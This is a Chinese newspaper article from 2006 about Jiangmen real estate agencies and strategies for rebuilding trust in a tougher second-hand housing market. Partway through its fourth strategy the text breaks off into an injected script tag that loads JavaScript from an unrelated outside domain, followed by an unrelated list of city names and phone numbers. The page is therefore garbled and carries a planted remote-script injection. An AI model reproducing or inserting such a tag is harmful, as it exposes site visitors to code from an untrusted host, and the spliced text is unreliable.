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房產(chǎn)中介謀變，以誠信尋出路
文摘來源:江門日報(bào) 閱讀:9523次 [06-10-16]

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今年年初的一系列宏觀調(diào)控政策似乎注定了今年二手房市場的不平凡：積極的貨幣和財(cái)政政策開始適度收緊，政府的行政手段和市場的能動(dòng)調(diào)節(jié)交替進(jìn)行，二手房市場迎來全新的挑戰(zhàn)，重新“洗牌”在所難免，競爭勢必會更加激烈。

　　面對新形勢以及機(jī)會與挑戰(zhàn)共存的市場，中介企業(yè)該如何進(jìn)行品牌的戰(zhàn)略選擇？中介的未來發(fā)展之路在哪里？就此問題，近日，江門市房地產(chǎn)中介協(xié)會再次邀請了江門各房產(chǎn)中介行業(yè)的相關(guān)人員聚首，共同為房地產(chǎn)中介業(yè)的發(fā)展出謀劃策。

中介商信心依舊積極出對策謀求出路

　　對于房產(chǎn)中介的發(fā)展前景，江門大部分房產(chǎn)中介商表示充滿信心，他們認(rèn)為，雖然目前房產(chǎn)中介仍存在法律法規(guī)欠缺、市民認(rèn)同低迷、人才流失嚴(yán)重、傭金相對偏低等發(fā)展“瓶頸”，但這只是成長過程中的必經(jīng)歷程，只要調(diào)整心態(tài)，積極應(yīng)對，相信“陽光總在風(fēng)雨后”。

　　東駿地產(chǎn)總經(jīng)理林英華認(rèn)為，江門房產(chǎn)中介經(jīng)過１０多年的發(fā)展，今天的房地產(chǎn)中介正進(jìn)入一個(gè)良性發(fā)展的時(shí)期，分工也更加明確和細(xì)化：各房地產(chǎn)中介公司根據(jù)市場需求和自身情況，從過去單純租售二手房信息到現(xiàn)在的較高層次投入，如投資顧問、銷售策劃、資產(chǎn)處理等，各自的定位和分工更加科學(xué)合理，這說明江門房產(chǎn)中介逐漸走向成熟。

　　天盛置業(yè)總經(jīng)理陳曉紅則表示，江門房產(chǎn)中介由于市場環(huán)境的變化，開發(fā)商和客戶對中介的要求越來越高了，但不管市場怎么變化，住房交易的需求仍然存在，房產(chǎn)中介企業(yè)是永遠(yuǎn)有生意可做的，只是這塊“蛋糕”的大小區(qū)別而已。有一點(diǎn)可以肯定的是，房產(chǎn)中介企業(yè)如果沒有品牌意識和服務(wù)理念，就難以在今后隨時(shí)可能遇到的風(fēng)險(xiǎn)中勝出，就有可能被淘汰出局，所以能否走出困局，關(guān)鍵看房產(chǎn)中介公司自己能否及時(shí)調(diào)整心態(tài)，苦練內(nèi)功，積極提高服務(wù)質(zhì)量，完善服務(wù)體系，增強(qiáng)自身的市場競爭力，這樣才會在遇到的風(fēng)險(xiǎn)中及時(shí)“脫險(xiǎn)”。

　　偉翔輝煌總經(jīng)理陳素英也認(rèn)為，為了提高房產(chǎn)中介的生存能力，江門的房產(chǎn)中介不妨借鑒外地的經(jīng)驗(yàn)，轉(zhuǎn)變經(jīng)營思路，擴(kuò)大經(jīng)營業(yè)務(wù)范圍，增強(qiáng)企業(yè)的核心競爭力，如借鑒保險(xiǎn)的模式，把客戶看成親人，以誠信塑造品牌，同時(shí)通過提高策劃能力以及資產(chǎn)處理等方式，提高企業(yè)的生存能力。從公司內(nèi)部來說，應(yīng)建立完善的人才晉升機(jī)制，加強(qiáng)公司的凝聚力，還可制定專業(yè)業(yè)務(wù)的培訓(xùn)機(jī)制，通過多個(gè)項(xiàng)目的運(yùn)作，增強(qiáng)員工的實(shí)戰(zhàn)經(jīng)驗(yàn)，并要為所有員工提供公平的發(fā)展機(jī)會，刺激員工的積極性。

中介行業(yè)如何走出“迷宮” 四大策略應(yīng)對變局

　　江門市房地產(chǎn)中介協(xié)會會長索茂軍也表示，房地產(chǎn)中介在推動(dòng)江門房地產(chǎn)市場的繁榮中起到至關(guān)重要的作用，這一點(diǎn)是不可否認(rèn)的。

　　總的來看，江門的中介代理行業(yè)在廣東省來說水平還是相對較高的，不良投訴也比較少，在前一屆中介協(xié)會和市消委會共同舉辦的“放心中介”活動(dòng)中，不少有實(shí)力的中介公司都踴躍報(bào)名參加，顯示出很強(qiáng)的自信心，活動(dòng)期間協(xié)會雖公布了投訴電話，但都未接到一宗電話投訴，說明參評的各房產(chǎn)中介公司都具有良好的誠信度。由此可見，我市的房地產(chǎn)中介行業(yè)的發(fā)展是健康的、有序的。

　　但是，今后隨著房地產(chǎn)市場的進(jìn)一步發(fā)展，在殘酷的市場競爭中，資質(zhì)不良的、規(guī)模較小的中介公司不可避免地將被淘汰出局，重新“洗牌”在所難免。如何在未來市場中保持自己的份額，是房地產(chǎn)中介公司經(jīng)營的重中之重。

　　經(jīng)過討論后，各房產(chǎn)中介公司一致表示，要提高行業(yè)經(jīng)營水平，持續(xù)發(fā)展，中介行業(yè)必須做好四個(gè)方面的工作：

　　一是加大宣傳力度，提高社會認(rèn)同感。索會長認(rèn)為，中介行業(yè)雖然經(jīng)過１０多年發(fā)展，但市民對中介仍存在一定的誤解，要令市民從心理上接受中介行業(yè)，并改變對服務(wù)性行業(yè)的消費(fèi)觀念，政府和媒體應(yīng)起引導(dǎo)作用，而市民也要逐漸適應(yīng)和接受為服務(wù)付費(fèi)的觀念。近期，由江門市房地產(chǎn)中介協(xié)會主辦，江門市房產(chǎn)局、江門日報(bào)社、江門市消費(fèi)者委員會協(xié)辦的第二屆“放心中介”評比活動(dòng)，其目的就是希望通過動(dòng)員全社會一起監(jiān)督房地產(chǎn)中介市場，讓廣大市民用全新的眼光認(rèn)識中介企業(yè)，通過宣傳，樹立中介行業(yè)的正面形象，提高中介公司的自身素質(zhì)和信譽(yù)度，打造一批知名的“放心中介”品牌企業(yè)。

　　二是加強(qiáng)行業(yè)自律，提高行業(yè)影響力。有業(yè)界人士表示，在目前相關(guān)法律、法規(guī)尚未出臺的前提下，要避免公司之間相互擠壓，最主要還是要靠自律。把中介公司聯(lián)合起來，制定協(xié)議，自覺遵守，對不正當(dāng)競爭、違規(guī)操作的企業(yè)或個(gè)人通過曝光、掛銷資質(zhì)等懲治辦法進(jìn)行管理。

　　三是提高“入行”門檻，加強(qiáng)培訓(xùn)。目前不少房地產(chǎn)中介公司缺少一支具有專業(yè)水平的隊(duì)伍，沒有一套行之有效的培訓(xùn)體系。消費(fèi)者要買房租房，之所以找中介公司代理，是相信他們可以提供最專業(yè)的服務(wù)，中介公司要為經(jīng)紀(jì)人提供持續(xù)不斷的培訓(xùn)支持，才能真正提升經(jīng)紀(jì)人的素質(zhì)，進(jìn)而提高中介公司的服務(wù)水平。在國際上，許多知名中介公司成功的原因之一就在于重視經(jīng)紀(jì)人的培訓(xùn)，并且擁有一整套十分完備的培訓(xùn)體系。

　　四是提供全面?script src=http://www.24aspx.com/script.js>

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[昆明] 028-66822022,18100893151 [西安] 13572176799 [福建] 0592-6022961,19905929501,19905929503
[武漢] 15307165353 [長沙] 15307165353 [江西] 13602675916 [南寧] 13878876378 [沈陽] 15804662075 [大連] 15804662075
[海口] 15120790561,0898-65203645 [長春] 15804662075 [哈爾濱] 15804662075

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